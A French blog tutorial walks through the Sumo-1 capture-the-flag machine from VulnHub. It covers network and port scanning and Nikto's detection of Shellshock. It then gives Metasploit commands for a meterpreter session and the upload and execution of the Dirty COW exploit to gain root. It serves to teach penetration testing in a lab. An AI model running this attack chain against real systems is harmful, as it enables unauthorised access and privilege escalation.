Hacking Pratique : Sumo-1

Hacking Pratique : Sumo-1

Alright les gars ! Ça fait longtemps que je n’ai pas fait de Hacking Pratique et c’est le temps de travailler sur bon serveur. Comme celui d’aujourd’hui : Sumo-1.

Pour ceux parmi vous qui ne connaissent pas c’est quoi un CTF, vous pouvez le voir comme un challenge à résoudre, souvent, on cache des flags (des chaînes de caractère) quelque part sur un serveur ou ladite application et votre mission est de trouver le flag et le lire.

Les plateformes de CTF ne manquent pas, il y a root-me, hack the box, hackthis  Etc,. Personnelement, j’aime travailler avec les serveurs vulnérables de VulnHub et c’est ce qu’on va faire aujourd’hui.

Tout d’abord, téléchargez le serveur sur votre machine et importez le avec Virtualbox (ou n’importe quel hyperviseur), vous pouvez modifier la configuration de la machine virtuelle (diminuez le taux de RAM si vous voulez) mais je vais aller avec la config par défaut.

sumo config

1- Premier Pas

Le serveur Sumo:1 est fait pour les débutants, du coup, si vous êtes légende en hacking et pentesting je vous prie de laisser un commentaire en dessous de l’article précisant toutes les conneries que je vais faire tout au long de ce CTF 😝.

Great! Let’s begin ….

NOTE : n’oubliez pas d’adapter les adresses IP à votre propre réseau.

Lancez la machine cible Sumo et votre machine attaquante Kali Linux (ou tout autre distribution Linux), nous allons commencer par faire une petite découverte du réseau pour pouvoir localiser notre machine cible, netdiscover est le meilleur outil pour ça :

root@kali:~# netdiscover -r 192.168.8.1/24

netdiscover

 

La première adresse IP est celle de mon routeur, ensuite, j’ai l’adresse IP de ma machine Windows hôte. Et clairement il ne reste que l’adresse IP du serveur cible.

Vous allez me dire : comment localiser le serveur cible si le scan rapporte des dizaine de machine connectés sur le réseau ? Et bien dans un test de pénétration typique, vous devrez passer par une phase de collecte d’information ou de reconnaissance, et votre objectif durant cette phase, c’est de trouver ce genre d’information (Adresses IP, nom de domaine, présence de WAF ..etc) donc ça ne devrait pas poser de problème 😀.

Maintenant, on a l’adresse IP et il ne reste qu’à lancer un scan nmap pour voir les services qui s’exécutent sur le serveur, je vais opter pour un scan agressif avec la commande suivante :

root@kali:~# nmap -A -Pn 192.168.8.103

L’option -A sert à effectuer un scan intense et l’option -Pn pour ne pas pinger le serveur vu qu’on sait déjà qu’il est actif (après avoir fait un netdiscover).

nmap

 

Comme vous pouvez le voir, on a 2 port qui sont ouverts, le port 22 avec le service SSH et le port 80 avec le service HTTP.

Bien sûr, nmap nous a donné aussi la version utilisée par ces deux services, dans ces cas-là le premier réflexe à avoir, c’est de chercher des vulnérabilités propres à ces versions en effectuant une recherche Google ou simplement en utilisant l’utilitaire searchsploit.

root@kali:~#  searchsploit OpenSSH 5.9p1

openssh

root@kali:~#  searchsploit httpd 2.2.22

httpd

 

Aucun exploit pour ces deux versions, dans ce cas, on va devoir continuer notre scanning, voyons voir ce qui se trouve sur le serveur web.

Tapez l’adresse IP du serveur dans votre navigateur :

apache

 

Et surtout, n’oubliez pas aussi de checker le fameux fichier robots.txt (un fichier qui indique aux moteurs de recherche les pages à ne pas indexer) :

robots

 

Rien ! On ne peut pas tout avoir du premier essai en tout cas 😅.

Je pense qu’on a droit de lancer un scan automatique sur le serveur web, vous pouvez utiliser l’outil que vous voulez, mais celui que j’utilise le plus souvent, c’est Nikto, il fait du très bon travail (croyez-moi), la preuve :

root@kali:~#  nikto -host 192.168..103

nikto

 

Heh ! Qu’est-ce que vous en pensez …

On a pas mal d’informations pertinentes ici, tout d’abord Nikto nous dit que l’en-tête X-XSS-Protection et absent, ensuite, la version du serveur apache est ancienne (2.2.22 au lieu de la 2.4) et il nous rapporte aussi que les noms de fichiers peuvent être facilement brute forcé (avec un outil comme dirb).

Mais il y a deux lignes tout en bas qui attirent l’attention :

shellshok

 

C’est explicite, Nikto a détécté une vulnérébilité qui s’appelle shellshok. En fait, on a découvert shellshok en 2014 ce qui fait que la faille est un peu ancienne. Cette faille permet à un « attaquant » d’obtenir un accès non autorisé à un système informatique. Et cela en executant des commandes arbitraires sur les versions vulnérables du bash executé sur le systéme cible.

2- Cracker le serveur

L’exploitation de shellshok peut être faite manullement (chose que j’explique dans mon prochain livre “Web App Hacking”) mais peut aussi être facilement exploité avec des scripts automatisés, si vous faites une petite recherche shellshok exploit” vous trouverez une dizaine d’exemplaires.

Ce qui est cool, c’est que Metasploit contient aussi un exploit pour cette vulnérabilité. Et pour des raisons de simplicité, on va l’utiliser. L’exploit s’appelle exploit/multi/http/apache_mod_cgi_bash_env_exec, lancez d’abord votre msfconsole  :

root@kali:~# msfconsole

 

Ensuite, importer l’exploit adapté et apporter les configurations nécessaires :

msf5> use exploit/multi/http/apache_mod_cgi_bash_env_exec

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec)> set rhosts 192.168.8.103

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec)> set targeturi /cgi-bin/test

 

shellshok exploit

 

Et enfin, entrez le mot magique :

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec)> exploit

Et boom, on a notre session meterpreter (Je pense que vous pouvez aussi changer de payload mais je l’ai pas essayé, je demande pas plus que meterpreter 😁) :

 

exploit

 

N’oublions pas que l’objectif du CTF est d’avoir les privilèges root sur le serveur puis de trouver le flag qui est caché quelque part dans l’arborescence.

Voyons voir les informations du serveur avec la commande sysinfo :

meterpreter > sysinfo

sysinfo

 

3- Où est le root ?

Pour élever nos privilèges sur la machine, il va falloir trouver un exploit qui va exploiter cette ancienne version d’Ubuntu et nous donner un accès root, ce qui intéressant, c’est que cette version de kernel est vulnérable à quelque chose qu’on appelle Dirty copy on write ou Dirty COW pour faire court.

Il y a plusieurs Pocs (proof of concept) de cet exploit, mais celui qui nous intéresse, c’est le c0w.c, du coup, on va le télécharger et le compiler sur la machine Kali Linux avec la commande suivante :

root@kali:~# gcc -pthread c0w.c -o cow

compile

Ensuite, uploader l’exploit à votre serveur victime avec la commande suivante :

meterpreter > cd /tmp

meterpreter > upload /root/Download/cow/cow

upload

Maintenant, il va falloir sauter sur le shell du serveur pour faire ce qu’on doit faire … Ouvrir un shell sh avec Python et exécuter l’exploit qu’on vient de compiler :

meterpreter > shell

python -c 'import pty;pty.spawn("/bin/sh")'

$ chmod +x cow

$ ./cow 

 

shell

Ça va prendre un peu de temps pour terminer le processus d’exploitation. Une fois fait, exécutez la commande suivante pour modifier les identifiants des utilisateurs (root inclut)  :

$ whoami

www-data 

$ /usr/bin/passwd

root@ubuntu:/tmp#

whoami

And here we go, on est root sur le serveur, il ne reste qu’à se déplacer vers le répertoire root et trouver le flag.

flag

DONE!

Comme je vous ai dit au début du tutoriel, ce serveur est destiné pour les débutants, si vous l’avez trouvé TROP difficile, c’est que vous avez des lacunes en termes de bases de hacking … Si c’est votre cas, laissez-moi un commentaire en dessous et je vais faire mon possible pour vous aider …

Peace.

3 réactions au sujet de « Hacking Pratique : Sumo-1 »

  1. Coucou j’aimerais apprendre à hacké si possible comment je vais être en contact avec vous pour débuter
    je suis sincèrement intéresser

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

4 + 18 =

Follow by Email
YouTube